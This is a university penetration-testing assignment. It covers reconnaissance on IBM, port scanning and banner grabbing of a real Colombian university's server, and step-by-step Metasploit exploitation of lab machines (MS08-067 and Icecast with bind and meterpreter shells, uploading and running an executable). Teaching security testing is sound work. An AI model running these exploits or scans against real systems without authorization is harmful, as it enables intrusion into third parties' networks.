CAMERON UNIVERSITY
Information Assurance Networking Fundamentals - IAS 3036
Project 1. Penetration testing phases I, II and III. (Total 200 Points)
Due date: As Announced.
Rules:
Please refer to syllabus for rules, Teams of two students is mandatory.
Part A. – Step I.
- General Description.
Both malicious and ethical hackers rely on various phases in their attacks:[1]
Reconnaissance, Scanning, exploitation. Malicious attackers go further: maintaining access with backdoors and rootkits, covering tracks with covert channels and log editing.
The goal of Phase I of this project is to do part of what is usually the first phase in penetration testing/ethical hacking, in order to know some of the tools used to find out information about the target (the organization that hires to do the penetration testing).
The purpose of the project is then to allow you to be familiar with this phase. The organization that you are going to look is just an example and is used for educational purposes only. If you decided to change the organization proposed in this project (Ibm), you can do that, but you have to ask previously the Instructor, explaining the reason for doing that.
For developing this project you have to use at least the following documentation: NIST (National Institute of Standards and Technology) Guideline on Network Security Testing and, the Open Source Security Testing Methodology Manual (OSSTMM) found at www.isecom.org/osstmm (OSSTMM.en.2.2.pdf).
- Detail Description.
During the reconnaissance phase, the ethical hacker gathers …(Refer to point 11 in the Detail Description).
You have to gather information about the organization proposed in this project, like major business, major products and services, corporate officers and other VIPs, physical locations, new press releases and, so forth.
- First look for company name in search engine such as Google, discovering domain names of potential target computers.
- Then, use the site directive to find additional targets: site: ibm.com –www.ibm.com
- Look for older versions of websites at www.archive.org
- Look for dates the domain was registered using InterNIC (www.internic.net/whois.html )
- In a Linux environment use the command whois to find information about internet gateways of the company.
- Using ARIN (ws.arin.net) look for the company name. Now use ARIN with different option like n, a, p and @ such as: n company_name. for the search of @ you have to give @ company_name.com.
- Find the server address of www.company_name.com. For doing that use the nslookup command found in Windows and Linux.
- According to NIST-SP800-42 guideline WHAT IS Network security testing, operational security testing and vulnerability.
- According to NIST-SP800-42 guideline briefly describe the different types of testing (chapter 3).
- Compare what you have done in this project and what is in the Open-Source Security testing methodology manual, Section Network Surveying.
- Complete the sentence.
Part B.
You probably have to use your experience gained in Part A of this project, in order to develop the second step in penetration testing: scanning. To do this exercise you have to use as Company (Institution) name Universidad El Bosque, located in Bogota, Colombia. Again, our purpose is to learn, in order to be aware of risks and vulnerabilities involved in network computers. Ethic must be in every day (instant) of our life. Another particular name could be given, but if you are willing to change the company name, you have to have writing permission from the Instructor.
- Detail Description.
- Find and document the IP address of the web site of the institution.
- Find and document an e-mail address of an employee of the institution.
- Find and document when was the last update of the web page of the company.
- Find and document the operating system of the server of the company. For doing that you can telnet the server of the company in the following way:
- telnet ip_address_server 80 <hit the enter key>
- GET /path/file.html HTTP/1.1 <hit the enter key>
- Wait and <hit enter key>
- Find and document a current vulnerability of the operating system you found in step 4.
- Find and document a solution to the vulnerability specified in step 5.
- Find and document which ports (between 1 and 100) are open on the server of the company. For doing that you can use the netcat (nc) command found in Linux:[i]
i. nc –v –n –w1 ip_address_company 1-100
- Find which services and protocols are offered in the open ports of the server of the company.
- Find and document which ports (between 130 and 140) are open on the server of the company.
- Find which services and protocols are offered in the open ports (between 130 and 140) of the server of the company.
- Find and document at least one vulnerability in one of the open ports (between 130 and 140) of the server of the company.
- According to NIST, what type of security testing was applied in Part B of this project.
- According to OSSTMM, what type of internet security technology was applied in this project.
Part C. What to Submit for Step I.
Answer of points 1 through 11 in the Detail Description of Part A, Answer of points 1 through 13 in the Detail Description of Part B and, in addition, half/one page single space, 12 font size of a description of what you learn, what difficulties you found and how did you solve them, and what was your experience in this project. A description of the roles and responsibilities of each team member, if the roles and responsibilities were full accomplished and were done on time.
Step II.
Part A.
- Goal.
Phase III of penetrations testing is focused on exploitation. The goal of this project is to learn some exploits that a penetration tester or ethical hacker can use to compromise a target machine. In essence, exploitation is gaining access to a machine to run commands on it.
The tool that you will use is metasploit, which is in the top 3 tools for hacking. In the context of metasploit, an exploit is a program that can take advantage of a vulnerability in a target program, making it run a payload. The payload is a program that does something on the target computer, such as run programs, get and upload files and so forth.
- General Description Windows vs. Windows.
DO NOT make any changes to the target system. Using the windows environment you will use metasploit. Metasploit is installed in computer with IP address xxx.168.2.a, this is the local host LHOST, the target (victim!) will be xxx.168.2.b which will be the remote host RHOST.
- Using the start button lunch the metasploit application.
- Click <Ctrl>O and the metasploit console will appears.
- To get a list of exploits, run the command: show exploits
- You will be using the exploit exploit/windows/smb/ms08_067_netapi, for doing that run the command: use exploit/windows/smb/ms08_067_netapi
- To get a list of payloads, run the command: show payloads
- You will be using the payload windows/shell/bind_tcp in order to get shell from the target, for doing that, run the command: set PAYLOAD windows/shell/bind_tcp
- You can look the options needed running the command: show options
- With the last command you can see that you need to set the local host, the remote host, and the local port, let’s do it!:
- 9. set LHOST xxx.yyy.u.v
10. set RHOST xxx.168.2.b
11. set LPORT 4444
12. Everything is set, so now it goes the exploitation keying the command: exploit
13. If you get windows prompt from the target, you can look around as:
14. hostname
15. ipconfig
16. dir
17. you can change to another directory, and so forth. Do not do any change in the victim system! Just look around.
18. Finish the session running exit or hitting <ctrl> z
19. Close metasploit
For this lab you have to copy the current session into WordPad in order to be submitted. Be sure before exiting, that you have an electronic copy of your work and that you have answered the following questions:
- Find out what the exploitation used in step 4 is about.
- Do you think that you can delete files in the target. If that is the case what is the metasploit command for doing that.
- With the information obtained in step 3, look two more exploits for windows and explain briefly what those are about.
- General Description Linux vs. Windows.
For this lab, you will be running metasploit in a Linux computer, the local host, against a windows computer, the victim. You will use what is called the meterpreter, a word that is a fusion of metasploit and interpreter. This option offers the possibility to an ethical hacker to run processes within the memory space of a process running in the target.
For developing this part of the project, first you have to run in the victim computer xxx.yyy.u.v
- the application Icecast
- Once started Icecast click the button start server
Now you have to run metasploit in the local host xxx.yyy.u.z, for doing that do the following steps:
- 3. Open a terminal
- In the command line type the command: sudo bash
- Give the password
- 6. cd Desktop
- 7. cd framework-3.2
- 8. ./msfgui
- 9. <ctrl>O
- 10. show exploits
- 11. use exploit/windows/http/icecast_header
- 12. set PAYLOAD windows/meterpreter/reverse_tcp
- 13. show options
- 14. set RHOST XXX.YYY.U.V
- 15. set LHOST XXX.YYY.U.Z
- 16. set TARGET 0
- 17. service iptables stop
- 18. exploit
- 19. sysinfo
- 20. getuid
- 21. ps
- Process ID for Icecast:
- 23. pwd
- 24. ls
- 25. execute –f cmd.exe –c
- interact n where n is the channel number you received when you run the execute command
- 27. hostname
- 28. ipconfig
- 29. dir
- 30. execute -f notepad.exe -c
- 31. ps and give process ID for notepad
- 32. exit
- execute –f cmd.exe –c
- exit
- execute –f cmd.exe –c -H
- exit
- ps and give process ID for all cmd that are running in the target
- 38. upload wins.exe
- 39. execute –f wins.exe -c
- ps and give process ID for wins.exe
- 41. exit
- 42. Finish the session running exit or hitting <ctrl> z or <ctrl> c
- Close metasploit
Now on the victim’s computer:
- Stop Icecast
- Close the Icecast application.
For this lab you have to copy the current session into WordPad in order to be submitted. Be sure before exiting, that you have an electronic copy of your work and that you have answered the following questions:
- Steps 19, 20 and 21 of this description where running in the victims’ computer or in the penetration tester computer. Explain.
- What happened when you execute step 30 of the previous description. Explain.
- In step 35, what the command execute –f cmd.exe –c -H does?
- What are steps 38 and 39 used for? Explain.
- Explain the vulnerability exploited in step 11 and find the solution to cover it.
- What to submit for Step II
Answer of points 1 through 8 in the Detail Description of Part II and III, in addition, half/one page single space, 12 font size of a description of what you learn, what difficulties you found and how did you solve them, and what was your experience in this project. A description of the roles and responsibilities of each team member, if the roles and responsibilities were full accomplished and were done on time.
Attached the results obtained in metasploit in sections II and III.
[1] Planning, Scoping and Recognition. Sans Institute. www.sans.org
[i] In netcat the option –v means verbose printing out, -n means not resolving names and –w1 means waiting no more than 1 second. Taken from Security 560 Sans Institute.
Facebook
Twitter
